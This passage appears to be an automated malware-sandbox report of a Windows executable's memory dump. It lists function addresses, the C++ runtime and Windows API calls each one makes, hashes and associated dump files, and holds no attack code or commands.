Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Yarn$std::_$H_prolog3LocinfoLocinfo::_$Exception@8Locinfo::~_Locinfo_ctorLockitLockit::_Thrownumpunctstd::bad_exception::bad_exception
String ID:
API String ID: 1133140004-0
Opcode ID: b946bae2482df2234ab4e70734fc2cf5d020fb39981e671d280b1b307e5e56c5
Instruction ID: 2eb0cbfdbad2cb0658ceee26f79894f9a0c82d23421b374f96b4053b6f409622
Opcode Fuzzy Hash: b946bae2482df2234ab4e70734fc2cf5d020fb39981e671d280b1b307e5e56c5
Instruction Fuzzy Hash: 6201D13194022A9FCB10EBA4C952FEEBBB4AF10790F55011AF145A7281CB318E41C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 00ADE706, Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMON

Download Yara Rule

APIs

Concurrency::details::LoadLibraryAndCreateThread.LIBCONCRT ref: 00ADE71F

Part of subcall function 00ADDAC4: ___crtGetTimeFormatEx.LIBCMT ref: 00ADDADA
Part of subcall function 00ADDAC4: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 00ADDAF9

GetLastError.KERNEL32 ref: 00ADE73B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ADE751
__CxxThrowException@8.LIBVCRUNTIME ref: 00ADE75F

Part of subcall function 00ADD89A: SetThreadPriority.KERNEL32(?,?), ref: 00ADD8A6

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::LibraryLoadThread$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorException@8FormatLastPriorityReferenceThrowTime___crt
String ID:
API String ID: 1674182817-0
Opcode ID: c6d803142f2e874c571d63eacc7f5ca443b2fc22b39f5159a88fe6dd2c6242f0
Instruction ID: 95c525ea17c341e52921b39adf9fd02a9d5d36bd081f7f27d4694d5f1e9d685f
Opcode Fuzzy Hash: c6d803142f2e874c571d63eacc7f5ca443b2fc22b39f5159a88fe6dd2c6242f0
Instruction Fuzzy Hash: F7F0A771500316BDD720B7754D0BFBF36DCAB11750F544C67B552EA2C2ED94E40086B0

Uniqueness

Uniqueness Score: -1.00%

Function 00AC2A0E, Relevance: 6.0, APIs: 4, Instructions: 39timeCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00ADC2A3
Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00ADC2D6
Concurrency::critical_section::_Switch_to_active.LIBCMT ref: 00ADC2E2
Concurrency::details::LockQueueNode::DerefTimerNode.LIBCONCRT ref: 00ADC2EB

Part of subcall function 00ADBB35: Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 00ADBB57
Part of subcall function 00ADBB35: Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00ADBB78

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::details::$Concurrency::critical_section::_Timer$Acquire_lockAsyncBase::ContextCurrentDerefH_prolog3LibraryLoadLockNodeNode::QueueRegisterSchedulerSwitch_to_active
String ID:
API String ID: 2559503089-0
Opcode ID: 196e7a9d58488c2b35d9abc01a592073659e3cd685a92a4a96e822e7af809b9e
Instruction ID: 9b3d81b7ab71adcf191e9fce73139a0c9c35fc39149fb86501471d87467d17fe
Opcode Fuzzy Hash: 196e7a9d58488c2b35d9abc01a592073659e3cd685a92a4a96e822e7af809b9e
Instruction Fuzzy Hash: FDF0BE72600216ABCF14BBF54A465EE76AA4F90330B45026BF513AB3C2DF749E01E2A5

Uniqueness

Uniqueness Score: -1.00%

Function 00AA1400, Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

std::exception_ptr::exception_ptr.LIBCONCRTD ref: 00AA1435
__ExceptionPtrCurrentException.LIBCPMT ref: 00AA143E

Part of subcall function 00AC2391: shared_ptr.LIBCPMT ref: 00AC239A
Part of subcall function 00AC2391: std::_Ref_count_base::_Decref.LIBCMTD ref: 00AC23B5

std::exception_ptr::exception_ptr.LIBCONCRTD ref: 00AA144D
std::exception_ptr::~exception_ptr.LIBCONCRTD ref: 00AA1455

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Exceptionstd::exception_ptr::exception_ptr$CurrentDecrefRef_count_base::_shared_ptrstd::_std::exception_ptr::~exception_ptr
String ID:
API String ID: 1147262403-0
Opcode ID: 0f730c5db04eac7921e96d3e217dba0911050a657d559fdd8375d9d72fae35b8
Instruction ID: 544e8a439a0115cafe26999d0110ef74692d3fb043d86def1bae91c4a5f56ed8
Opcode Fuzzy Hash: 0f730c5db04eac7921e96d3e217dba0911050a657d559fdd8375d9d72fae35b8
Instruction Fuzzy Hash: 10016D75910109ABCB04EFA4D942BFEB7B8FB09710F400639F916972C0EF34AA48CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00ACF9F0, Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

_Mpunct.LIBCPMT ref: 00ACF9F3
__CxxThrowException@8.LIBVCRUNTIME ref: 00ACF9FC

Part of subcall function 00AF1677: RaiseException.KERNEL32(?,?,?,00ADB48F,?,?,?,?,?,?,?,?,00ADB48F,?,00B3ED74), ref: 00AF16D7

__Getctype.LIBCPMT ref: 00ACFA11
__Getcvt.LIBCPMT ref: 00ACFA23

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionException@8GetctypeGetcvtMpunctRaiseThrow
String ID:
API String ID: 2734167985-0
Opcode ID: f33415731337f0ca0180dc910b27a1a781c920fec1bc441a4c69ec46d1607ac7
Instruction ID: dc78305aafcaf90ed196ff5d32abfe80707a0769c35a17e78fa8c46e6b97a8e6
Opcode Fuzzy Hash: f33415731337f0ca0180dc910b27a1a781c920fec1bc441a4c69ec46d1607ac7
Instruction Fuzzy Hash: F5F0E5335001186A8715EAA5A886DDF77ADEF423A0B110426FE01AF181DEA1AD05C6F0

Uniqueness

Uniqueness Score: -1.00%

Function 00B06F4A, Relevance: 6.0, APIs: 4, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000105,00B46400), ref: 00B06F73
GetLastError.KERNEL32 ref: 00B06F7D
__dosmaperr.LIBCMT ref: 00B06F84
_mbstowcs.LIBCMT ref: 00B06F99

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorFileLastModuleName__dosmaperr_mbstowcs
String ID:
API String ID: 2664030482-0
Opcode ID: 281e4137e4eaf8e01cd44cee2291a6800a2194948b0abfae4300ce4cb2daa284
Instruction ID: 7cbc138b3d3e67f5c4bb08b1fea44a597a98522b8d4b044dc985a3e20bda778e
Opcode Fuzzy Hash: 281e4137e4eaf8e01cd44cee2291a6800a2194948b0abfae4300ce4cb2daa284
Instruction Fuzzy Hash: 8BF0907190010DABCF10EFB4EC4D9EE7BA8FB59300F004499F905D7240EE709A548B91

Uniqueness

Uniqueness Score: -1.00%

Function 00AB1DB0, Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AB1DE1
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AB1DEC
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AB1DF7
std::_Container_base12::~_Container_base12.LIBCPMTD ref: 00AB1E02

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Container_base12Container_base12::~_std::_
String ID:
API String ID: 1531518832-0
Opcode ID: 21ce7470b29278235be05af405456d8555df4522db3994b475df452d542de8ed
Instruction ID: 018133260f13f9423bb5521bf2ab2ec65bdd1078663b46e4f6261137d0c5bf2b
Opcode Fuzzy Hash: 21ce7470b29278235be05af405456d8555df4522db3994b475df452d542de8ed
Instruction Fuzzy Hash: C2F04730D44109ABCB08EB98DA62A7EB3669F82744B24019CE4062B3D2DF345E109A96

Uniqueness

Uniqueness Score: -1.00%

Function 00B0F4BF, Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00AB315C,?,00B102F0,00000000,00AB315C,?,00B0E8E9,00AB315C,00000001,00AB315C,00AB315C,?,00B0AA14,00AB315C,80D348A2,00AB315C), ref: 00B0F4D6
GetLastError.KERNEL32(?,00B0E8E9,00AB315C,00000001,00AB315C,00AB315C,?,00B0AA14,00AB315C,80D348A2,00AB315C,00AB315C,00AB315C,?,00B0AF95,00000000), ref: 00B0F4E2

Part of subcall function 00B0F4A8: CloseHandle.KERNEL32(FFFFFFFE,00B0F4F2,?,00B0E8E9,00AB315C,00000001,00AB315C,00AB315C,?,00B0AA14,00AB315C,80D348A2,00AB315C,00AB315C,00AB315C), ref: 00B0F4B8

___initconout.LIBCMT ref: 00B0F4F2

Part of subcall function 00B0F46A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B0F499,00B0E8CF,00AB315C,?,00B0AA14,00AB315C,80D348A2,00AB315C,00AB315C), ref: 00B0F47D

WriteConsoleW.KERNEL32(00AB315C,?,00B102F0,00000000,?,00B0E8E9,00AB315C,00000001,00AB315C,00AB315C,?,00B0AA14,00AB315C,80D348A2,00AB315C,00AB315C), ref: 00B0F507

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 28d6d17a1321843ed0f90e178a82d67d6ecd8ca7908fa555f233153bbaa5817b
Instruction ID: 28f473698667233782ba65916cf8631b483e604b158219de0ead552290b513dd
Opcode Fuzzy Hash: 28d6d17a1321843ed0f90e178a82d67d6ecd8ca7908fa555f233153bbaa5817b
Instruction Fuzzy Hash: 4EF01C36200556BBCF321FD5DC08A9E3FA6FB497A1F508060FA1896160CA32C920AB90

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD806, Relevance: 6.0, APIs: 4, Instructions: 29registryCOMMON

Download Yara Rule

APIs

RegisterWaitForSingleObject.KERNEL32 ref: 00ADD81D
GetLastError.KERNEL32(?,?,?,?,00AE37C3,?,?,?,?,00000000,?,00000000), ref: 00ADD82C
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ADD842
__CxxThrowException@8.LIBVCRUNTIME ref: 00ADD850

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastObjectRegisterSingleThrowWait
String ID:
API String ID: 3803302727-0
Opcode ID: a72ff93c6cb0a109ac28243648c9a3b02f34448fbf217cdf3263a5dc4ca6f62d
Instruction ID: 75eaa6b06b254a5c40dd6ed4460b4a9a2738eddbe82d02749e22eb86d4b10da0
Opcode Fuzzy Hash: a72ff93c6cb0a109ac28243648c9a3b02f34448fbf217cdf3263a5dc4ca6f62d
Instruction Fuzzy Hash: 3EF01C7150020AEBCB11EBA5CD09AAE7BA8BB04750F608655B521E62A1DA34E6049760

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD52B, Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

___crtCreateEventExW.LIBCPMT ref: 00ADD541
GetLastError.KERNEL32(?,?,?,?,?,00ADBD21), ref: 00ADD54F
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ADD565
__CxxThrowException@8.LIBVCRUNTIME ref: 00ADD573

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorCreateErrorEventException@8LastThrow___crt
String ID:
API String ID: 200240550-0
Opcode ID: 51f2a6a6c0d62c2124685d68761b893e0803677419916079b1770bdb1a1e2a72
Instruction ID: 2469da034ffd84b12e83aa380db339b9b7d2b196bceda9b5ff4e57a67f35a8da
Opcode Fuzzy Hash: 51f2a6a6c0d62c2124685d68761b893e0803677419916079b1770bdb1a1e2a72
Instruction Fuzzy Hash: 4BE0206164020A6AE710B3B58D07FBF3ADC6B00744F544855BD21D51C3FD64E5004171

Uniqueness

Uniqueness Score: -1.00%

Function 00AE44BB, Relevance: 6.0, APIs: 4, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00ADD907: TlsAlloc.KERNEL32(?,00ADBD21), ref: 00ADD90D

TlsAlloc.KERNEL32(?,00ADBD21), ref: 00AEE6AB
GetLastError.KERNEL32 ref: 00AEE6BD
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AEE6D3
__CxxThrowException@8.LIBVCRUNTIME ref: 00AEE6E1

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Alloc$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrow
String ID:
API String ID: 3735082963-0
Opcode ID: 5821810600d93a276c34387fbab9ce4223cceb127e6829ae22813c2f74840a8d
Instruction ID: fec779874ebc24b4bae650c6f129097bdc0018e9d49c1f3e7959da3cf0800001
Opcode Fuzzy Hash: 5821810600d93a276c34387fbab9ce4223cceb127e6829ae22813c2f74840a8d
Instruction Fuzzy Hash: 95E09270400146EAC710FBB5DD0A6BE77A87A16358B604926F462E72E2EE3490048661

Uniqueness

Uniqueness Score: -1.00%

Function 00AC2494, Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AC249B

Part of subcall function 00AC24EE: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,00AC25E6,?,?,00AA30D2,?), ref: 00AC24FA

std::_Cnd_initX.LIBCPMTD ref: 00AC24B0

Part of subcall function 00AA25B0: std::_Check_C_return.LIBCPMTD ref: 00AA25C0

std::_Cnd_initX.LIBCPMTD ref: 00AC24C7

Part of subcall function 00AA25D0: __Mtx_unlock.LIBCPMT ref: 00AA25D7
Part of subcall function 00AA25D0: std::_Check_C_return.LIBCPMTD ref: 00AA25E0

std::_Cnd_initX.LIBCPMTD ref: 00AC24E2

Part of subcall function 00AA2640: __Cnd_broadcast.LIBCPMT ref: 00AA2647
Part of subcall function 00AA2640: std::_Check_C_return.LIBCPMTD ref: 00AA2650

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$C_returnCheck_Cnd_init$Cnd_broadcastH_prolog3HandleModuleMtx_unlock
String ID:
API String ID: 1091833279-0
Opcode ID: 3292fd47afc03f8d51e925640ebdb967b744335d2bc3710fdca3d2d4e7660f6e
Instruction ID: d85f5a9f05c6e3e85605974a71cf0e26d8e48b90dbdffef460bf0ad6cdbfac36
Opcode Fuzzy Hash: 3292fd47afc03f8d51e925640ebdb967b744335d2bc3710fdca3d2d4e7660f6e
Instruction Fuzzy Hash: DFE09B32800A1457EB38BB549B07B6D73A0AB13730F61414EE020676E3DF758B4097D5

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD742, Relevance: 6.0, APIs: 4, Instructions: 24COMMON

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(?,?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,00ADBD21), ref: 00ADD74C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,0000FFFF,00000000,?,00000000,?,00ADBD21), ref: 00ADD75B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ADD771
__CxxThrowException@8.LIBVCRUNTIME ref: 00ADD77F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8HighestLastNodeNumaNumberThrow
String ID:
API String ID: 3016159387-0
Opcode ID: 90e12a6274fb43a0be5b68353f46b4636a48584530df661b7cbeb36b1327d28e
Instruction ID: b1200c660294a35a395f61dfe9cdacdda45c3c6d4626e6ca170322d9f8865a4f
Opcode Fuzzy Hash: 90e12a6274fb43a0be5b68353f46b4636a48584530df661b7cbeb36b1327d28e
Instruction Fuzzy Hash: FDE0487450010ADBC710F7B5CA49AAF73EC7A04740F604455B512E7151EF24EA048771

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD89A, Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

SetThreadPriority.KERNEL32(?,?), ref: 00ADD8A6
GetLastError.KERNEL32 ref: 00ADD8B2
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ADD8C8
__CxxThrowException@8.LIBVCRUNTIME ref: 00ADD8D6

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastPriorityThreadThrow
String ID:
API String ID: 4286982218-0
Opcode ID: 65a3f9a42202a83ed4543be516f1dbe71361264beab7d88cf66c75e91cd3b165
Instruction ID: 77cc16848baf7378e2b4260fb3ebf29b4b6ccd2be09abc54e272980fae1e78e2
Opcode Fuzzy Hash: 65a3f9a42202a83ed4543be516f1dbe71361264beab7d88cf66c75e91cd3b165
Instruction Fuzzy Hash: 17E08C3150020AEBDB11BFB5CC0AEBF7BACBB04340F508C26B922D51A1EF75E404A6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00ADD960, Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

TlsSetValue.KERNEL32(?,00000000,00AE2B6B,00000000,?,?,00ADBD21,?,?,?,00000000,?,00000000), ref: 00ADD96C
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 00ADD978
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00ADD98E
__CxxThrowException@8.LIBVCRUNTIME ref: 00ADD99C

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorErrorException@8LastThrowValue
String ID:
API String ID: 1964976909-0
Opcode ID: 8a34a17efa47095a87732591bfc3d3d5d83242009a532c761a6e25dd3e429218
Instruction ID: 4b1f2f0c922008c6a7edeafd4de6d599f870953257c4f7f08079d89351190a87
Opcode Fuzzy Hash: 8a34a17efa47095a87732591bfc3d3d5d83242009a532c761a6e25dd3e429218
Instruction Fuzzy Hash: DEE0867050010AFBCB20BBB1CD19AFF77ACBB00741F508855B516E51A1DF76E41086A0

Uniqueness

Uniqueness Score: -1.00%

Function 00B14207, Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B1420E
std::_Cnd_initX.LIBCPMTD ref: 00B1421D

Part of subcall function 00AA25B0: std::_Check_C_return.LIBCPMTD ref: 00AA25C0

std::_Cnd_waitX.LIBCPMTD ref: 00B1422A
std::_Cnd_initX.LIBCPMTD ref: 00B1423F

Memory Dump Source

Source File: 00000001.00000002.641695938.0000000000AA1000.00000020.00020000.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000001.00000002.641656167.0000000000AA0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642220287.0000000000B15000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642372735.0000000000B36000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.642408796.0000000000B42000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642428270.0000000000B43000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.642479698.0000000000B45000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.642494178.0000000000B47000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: std::_$Cnd_init$C_returnCheck_Cnd_waitH_prolog3
String ID:
API String ID: 4010071849-0
Opcode ID: 923001e943032b23939678813a84227443029d6b2bff3ba9f79114908cf81156
Instruction ID: 76ad97677ae1f426ff6078fb7e4079e9331b5812a3fb5650de9939483cc24413
Opcode Fuzzy Hash: 923001e943032b23939678813a84227443029d6b2bff3ba9f79114908cf81156
